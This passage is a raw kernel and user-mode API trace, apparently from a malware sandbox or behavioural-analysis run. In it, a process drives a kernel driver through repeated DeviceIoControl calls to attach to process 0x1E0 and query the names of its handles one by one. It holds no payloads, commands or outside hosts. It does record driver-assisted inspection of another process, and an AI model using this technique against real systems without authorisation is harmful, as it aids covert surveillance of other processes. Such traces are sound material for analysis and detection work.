ReturnLength=0xfffff88004f09550) returned 0x0 [0103.794] ObfDereferenceObject (Object=0xfffff8a0089fcde0) returned 0x2 [0103.794] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.794] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.794] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.794] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0103.794] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.794] PsAcquireProcessExitSynchronization () returned 0x0 [0103.794] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.794] ObReferenceObjectByHandle (in: Handle=0x88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089f6320, HandleInformation=0x0) returned 0x0 [0103.794] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.794] PsReleaseProcessExitSynchronization () returned 0x2 [0103.794] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.794] ObQueryNameString (in: Object=0xfffff8a0089f6320, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.794] ObfDereferenceObject (Object=0xfffff8a0089f6320) returned 0x2 [0103.794] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.794] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.794] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.794] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0103.795] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.795] PsAcquireProcessExitSynchronization () returned 0x0 [0103.795] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.795] ObReferenceObjectByHandle (in: Handle=0xa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003086a20, HandleInformation=0x0) returned 0x0 [0103.795] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.795] PsReleaseProcessExitSynchronization () returned 0x2 [0103.795] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.795] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.795] ObfDereferenceObject (Object=0xfffffa8003086a20) returned 0x1 [0103.795] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.795] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.795] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.795] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0103.795] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.795] PsAcquireProcessExitSynchronization () returned 0x0 [0103.795] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.795] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800302d280, HandleInformation=0x0) returned 0x0 [0103.795] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.795] PsReleaseProcessExitSynchronization () returned 0x2 [0103.795] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.795] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.795] ObfDereferenceObject (Object=0xfffffa800302d280) returned 0x1 [0103.795] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.795] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.795] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.795] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0103.795] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.795] PsAcquireProcessExitSynchronization () returned 0x0 [0103.795] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.795] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001049560, HandleInformation=0x0) returned 0x0 [0103.795] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.795] PsReleaseProcessExitSynchronization () returned 0x2 [0103.795] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.796] ObQueryNameString (in: Object=0xfffff8a001049560, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.796] ObfDereferenceObject (Object=0xfffff8a001049560) returned 0x2 [0103.796] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.796] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.796] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.796] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0103.796] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.796] PsAcquireProcessExitSynchronization () returned 0x0 [0103.796] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.796] ObReferenceObjectByHandle (in: Handle=0x2a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800302c5d0, HandleInformation=0x0) returned 0x0 [0103.796] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.796] PsReleaseProcessExitSynchronization () returned 0x2 [0103.796] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.796] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.796] ObfDereferenceObject (Object=0xfffffa800302c5d0) returned 0x1 [0103.796] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.796] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.796] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.796] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0103.796] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.796] PsAcquireProcessExitSynchronization () returned 0x0 [0103.796] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.796] ObReferenceObjectByHandle (in: Handle=0x354, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030a0820, HandleInformation=0x0) returned 0x0 [0103.796] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.796] PsReleaseProcessExitSynchronization () returned 0x2 [0103.797] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.797] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.797] ObfDereferenceObject (Object=0xfffffa80030a0820) returned 0x1 [0103.797] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.797] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.797] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.797] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0103.797] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.797] PsAcquireProcessExitSynchronization () returned 0x0 [0103.797] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.797] ObReferenceObjectByHandle (in: Handle=0x358, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030a0bb0, HandleInformation=0x0) returned 0x0 [0103.797] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.797] PsReleaseProcessExitSynchronization () returned 0x2 [0103.797] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.797] ObQueryNameString (in: Object=0xfffffa80030a0bb0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.797] ObfDereferenceObject (Object=0xfffffa80030a0bb0) returned 0x1 [0103.797] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.797] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.797] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.797] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0103.797] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.797] PsAcquireProcessExitSynchronization () returned 0x0 [0103.797] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.797] ObReferenceObjectByHandle (in: Handle=0x390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800829a350, HandleInformation=0x0) returned 0x0 [0103.797] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.798] PsReleaseProcessExitSynchronization () returned 0x2 [0103.798] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.798] ObQueryNameString (in: Object=0xfffffa800829a350, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.798] ObfDereferenceObject (Object=0xfffffa800829a350) returned 0x1 [0103.798] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.798] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.798] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.798] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0103.798] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.798] PsAcquireProcessExitSynchronization () returned 0x0 [0103.798] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.798] ObReferenceObjectByHandle (in: Handle=0x3c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80118c8540, HandleInformation=0x0) returned 0x0 [0103.798] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.798] PsReleaseProcessExitSynchronization () returned 0x2 [0103.798] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.798] ObQueryNameString (in: Object=0xfffffa80118c8540, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.798] ObfDereferenceObject (Object=0xfffffa80118c8540) returned 0x1 [0103.798] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.798] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.798] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.798] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0103.798] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.798] PsAcquireProcessExitSynchronization () returned 0x0 [0103.798] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.799] ObReferenceObjectByHandle (in: Handle=0x3c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80118c82a0, HandleInformation=0x0) returned 0x0 [0103.799] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.799] PsReleaseProcessExitSynchronization () returned 0x2 [0103.799] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.799] ObQueryNameString (in: Object=0xfffffa80118c82a0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.799] ObfDereferenceObject (Object=0xfffffa80118c82a0) returned 0x2 [0103.799] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.799] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.799] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.799] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0103.799] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.799] PsAcquireProcessExitSynchronization () returned 0x0 [0103.799] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.799] ObReferenceObjectByHandle (in: Handle=0x3c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800308f070, HandleInformation=0x0) returned 0x0 [0103.799] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.799] PsReleaseProcessExitSynchronization () returned 0x2 [0103.799] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.799] ObQueryNameString (in: Object=0xfffffa800308f070, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.799] ObfDereferenceObject (Object=0xfffffa800308f070) returned 0x1 [0103.799] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.799] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.799] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.799] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0103.799] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.799] PsAcquireProcessExitSynchronization () returned 0x0 [0103.800] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.800] ObReferenceObjectByHandle (in: Handle=0x534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800343ed10, HandleInformation=0x0) returned 0x0 [0103.800] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.800] PsReleaseProcessExitSynchronization () returned 0x2 [0103.800] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.800] ObQueryNameString (in: Object=0xfffffa800343ed10, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.800] ObfDereferenceObject (Object=0xfffffa800343ed10) returned 0x2 [0103.800] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.800] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.800] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.800] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.800] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.800] PsAcquireProcessExitSynchronization () returned 0x0 [0103.800] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.800] ObReferenceObjectByHandle (in: Handle=0x5a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031f0a80, HandleInformation=0x0) returned 0x0 [0103.800] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.800] PsReleaseProcessExitSynchronization () returned 0x2 [0103.800] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.800] ObQueryNameString (in: Object=0xfffffa80031f0a80, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.800] ObfDereferenceObject (Object=0xfffffa80031f0a80) returned 0x1 [0103.800] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.800] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.800] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.801] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0103.801] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.801] PsAcquireProcessExitSynchronization () returned 0x0 [0103.801] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.801] ObReferenceObjectByHandle (in: Handle=0x5b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031ee8f0, HandleInformation=0x0) returned 0x0 [0103.801] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.801] PsReleaseProcessExitSynchronization () returned 0x2 [0103.801] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.801] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.801] ObfDereferenceObject (Object=0xfffffa80031ee8f0) returned 0x1 [0103.801] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.801] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.801] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.801] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xb6, lpOverlapped=0x0) returned 1 [0103.801] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.801] PsAcquireProcessExitSynchronization () returned 0x0 [0103.801] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.801] ObReferenceObjectByHandle (in: Handle=0x600, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8010dc5b80, HandleInformation=0x0) returned 0x0 [0103.801] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.801] PsReleaseProcessExitSynchronization () returned 0x2 [0103.801] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.801] ObQueryNameString (in: Object=0xfffffa8010dc5b80, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.801] ObfDereferenceObject (Object=0xfffffa8010dc5b80) returned 0x2 [0103.801] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.801] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.801] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.801] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: 